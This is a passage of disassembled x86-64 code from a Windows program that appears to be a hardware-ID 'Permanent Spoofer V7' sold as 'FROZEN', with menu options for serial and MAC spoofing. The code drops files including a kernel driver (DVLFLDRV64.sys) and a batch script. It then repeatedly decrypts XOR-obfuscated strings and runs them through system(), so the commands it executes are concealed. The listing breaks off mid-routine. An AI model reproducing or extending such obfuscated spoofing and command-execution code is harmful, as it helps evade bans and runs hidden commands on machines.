subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400cf9e0]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400cfa74]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
lea rcx, str.Spoofing
call fcn.140033080
movaps xmm0, xmmword [0x1400cfbd0]
movups xmmword [rbp + 0x48], xmm0
lea rcx, [rbp + 0x48]
call fcn.140003cd0
movss xmm3, dword [0x1401055cc]
movaps xmm1, xmm3
addss xmm1, dword [0x1400cfa6c]
movss xmm2, dword [0x1401055c8]
movaps xmm0, xmm2
addss xmm0, dword [0x1400cfa90]
movss dword [rbp + 0x108], xmm0
movss dword [rbp + 0x10c], xmm1
addss xmm3, dword [0x1400cfa2c]
movss xmm6, dword [0x1400cfa48]
addss xmm2, xmm6
movss dword [rbp + 0x110], xmm2
movss dword [rbp + 0x114], xmm3
mov dword [rsp + 0x28], edi
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp + 0x108]
lea rdx, [rbp + 0x110]
mov rcx, qword [0x1401055d8]
call fcn.14002a860
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400cfa30]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400cfa50]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
call fcn.140015100
lea rcx, str.Permanent_Spoofer_V7
call fcn.140033080
call fcn.140015250
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400cfa70]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm6
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0x118], 0x433d0000
mov dword [rbp + 0x11c], 0x42200000
lea rdx, [rbp + 0x118]
lea rcx, str.Perm_Spoof
call fcn.140033a30
test al, al
je 0x140041d2a
inc dword [0x140105930]
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400cfa70]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400cfa84]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0x120], 0x43430000
mov dword [rbp + 0x124], 0x42200000
lea rdx, [rbp + 0x120]
lea rcx, str.Mac_Spoof
call fcn.140033a30
test al, al
je 0x140041db8
inc dword [0x14010593c]
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400cfa80]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm6
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0x128], 0x43c58000
mov dword [rbp + 0x12c], 0x42200000
lea rdx, [rbp + 0x128]
lea rcx, str.Serial_Checker
call fcn.140033a30
test al, al
je 0x140041e42
inc dword [0x140105938]
cmp dword [0x140105930], 0
je 0x14004861c
cmp qword [0x140105590], 0
jne 0x140041e73
mov r8d, 0x102b
lea rdx, str.C:UsersJanDesktop_frozen_v7_spooferimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140105590]
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm0
movss xmm1, dword [0x140105934]
addss xmm1, xmm0
movss dword [0x140105934], xmm1
comiss xmm1, xmm7
jbe 0x140041eb0
lea rcx, str.Perm_Spoofing
call fcn.140033080
movss xmm1, dword [0x140105934]
comiss xmm1, xmm12
jbe 0x1400485d2
lea rcx, str.Applying_NEW_Serials...
call fcn.140033080
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
mov qword [rbp + 0x238], rdi
mov qword [rbp + 0x240], reloc.WS2_32.dll_ntohs
mov ecx, Ordinal_50
call fcn.1400ae754
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x238], reloc.WLDAP32.dll_Ordinal_33
mov qword [rbp + 0x240], Ordinal_50
movups xmm0, xmmword [str.C:WindowsGameBarPresenceWriter_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400cdaf0]
movups xmmword [rax + 0x10], xmm1
movzx ecx, byte [0x1400cdb00]
mov byte [rax + 0x20], cl
mov byte [rax + 0x21], 0
lea rcx, [rbp + 0x228]
call fcn.140040660
lea rax, [rbp + 0x48]
mov qword [rbp + 0x3f0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], 0xa
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.FROZEN.exe]
movsd qword [rbp + 0x48], xmm0
movzx eax, word [0x1400cdb10]
mov word [rbp + 0x50], ax
mov byte [rbp + 0x52], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 6
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov eax, dword [str.057379]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1400cdb18]
mov word [rsp + 0x64], ax
mov byte [rsp + 0x66], 0
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x60]
call fcn.1400403c0
lea rax, [rbp + 0x48]
mov qword [rbp + 0x3f0], rax
mov word [rbp + 0x56], 0
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohl
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.DVLFLDRV64.sys]
movsd qword [rbp + 0x48], xmm0
mov eax, dword [0x1400cdb28]
mov dword [rbp + 0x50], eax
movzx eax, word [0x1400cdb2c]
mov word [rbp + 0x54], ax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 6
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov eax, dword [str.975966]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1400cdb34]
mov word [rsp + 0x64], ax
mov byte [rsp + 0x66], 0
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x60]
call fcn.1400403c0
lea rax, [rbp + 0x48]
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x50], rdi
mov qword [rbp + 0x58], 7
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov rax, qword [str.Mac.bat]
mov dword [rbp + 0x48], eax
movzx eax, word [0x1400cdb3c]
mov word [rbp + 0x4c], ax
movzx eax, byte [reloc.WS2_32.dll_WSACleanup]
mov byte [rbp + 0x4e], al
mov byte [rbp + 0x4f], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 6
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov eax, dword [str.076267]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1400cdb44]
mov word [rsp + 0x64], ax
mov byte [rsp + 0x66], 0
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x60]
call fcn.1400403c0
movups xmm0, xmmword [0x1400cdee0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cdef0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cdf00]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cdf10]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cdf20]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cdf30]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cdf40]
movups xmmword [rbp - 0x20], xmm0
mov eax, dword [0x1400cdf50]
mov dword [rbp - 0x10], eax
movzx eax, word [0x1400cdf54]
mov word [rbp - 0xc], ax
mov r8d, edi
cmp esi, 2
jl 0x140042265
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x140042160
cmp r8d, 0x76
jge 0x1400422a0
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x76
jl 0x140042270
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cea80]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cea90]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400ceaa0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ceab0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ceac0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cead0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ceae0]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x1400ceaf0]
movsd qword [rbp - 0x10], xmm0
mov eax, dword [0x1400ceaf8]
mov dword [rbp - 8], eax
mov r8d, edi
cmp esi, 2
jl 0x140042455
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140042350
cmp r8d, 0x7c
jge 0x140042490
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7c
jl 0x140042460
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
lea rbx, [0x140000000]
lea rax, [rbx + 0xcecf0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp esi, 2
jl 0x140042642
movdqa xmm5, xmmword [0x1400cfb40]
mov edx, edi
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x60]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x140042540
jmp 0x140042683
lea r9, [rbp - 0x80]
mov r8d, edi
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x140042650
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cf080]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cf090]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cf0a0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cf0b0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cf0c0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cf0d0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [str.q__D]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400cf0f0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400cf100]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x1400cf110]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x1400cf118]
mov dword [rbp + 0x18], eax
movzx eax, word [0x1400cf11c]
mov word [rbp + 0x1c], ax
movzx eax, byte [0x1400cf11e]
mov byte [rbp + 0x1e], al
mov r8d, edi
cmp esi, 2
jl 0x14004286b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140042760
cmp r8d, 0x9f
jge 0x1400428b3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9f
jl 0x140042880
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp - 0x80]
lea rcx, [rbx + 0xcde30]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, byte [rcx + 0xac]
mov byte [rdx + 0x2c], al
mov r8d, edi
cmp esi, 2
jl 0x140042a8b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x140042980
cmp r8d, 0xad
jge 0x140042ad3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xad
jl 0x140042aa0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cf1c0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cf1d0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cf1e0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cf1f0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cf200]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cf210]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cf220]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400cf230]
movups xmmword [rbp - 0x10], xmm1
movzx eax, byte [0x1400cf240]
mov byte [rbp], al
mov r8d, edi
cmp esi, 2
jl 0x140042c8b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140042b80
cmp r8d, 0x81
jge 0x140042cd3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x140042ca0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce7e0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ce7f0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400ce800]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ce810]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ce820]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ce830]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ce840]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400ce850]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400ce860]
movups xmmword [rbp], xmm0
mov eax, dword [0x1400ce870]
mov dword [rbp + 0x10], eax
mov r8d, edi
cmp esi, 2
jl 0x140042e9b
movdqa xmm5, xmmword [0x1400cfb40]
